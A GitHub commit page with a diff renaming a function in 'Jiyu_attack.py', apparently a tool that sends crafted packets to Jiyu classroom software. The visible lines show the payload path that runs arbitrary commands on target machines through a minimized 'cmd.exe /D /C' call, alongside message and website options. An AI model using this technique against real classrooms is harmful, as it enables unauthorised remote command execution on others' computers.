Skip to content

Commit 860683e

Browse files
committed
refactor: Rename pkg_command to pkg_execute for clarity and consistency
1 parent 8403e64 commit 860683e

File tree

1 file changed

+2
-2
lines changed

1 file changed

+2
-2
lines changed

Jiyu_attack.py

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -60,7 +60,7 @@ def pkg_message(msg: str) -> bytes:
6060
return head + data + b"\x00" * 98
6161

6262

63-
def pkg_command(
63+
def pkg_execute(
6464
executable_file: str,
6565
arguments: str = "",
6666
mode: Literal["normal", "minimize", "maximize"] = "normal",
@@ -158,7 +158,7 @@ def pkg_website(url: str) -> bytes:
158158
elif args.website:
159159
payload = pkg_website(args.website)
160160
elif args.command:
161-
payload = pkg_command("cmd.exe", f'/D /C "{args.command}"', "minimize")
161+
payload = pkg_execute("cmd.exe", f'/D /C "{args.command}"', "minimize")
162162
else:
163163
raise ValueError("Either message or website must be provided")
164164

0 commit comments

Comments
 (0)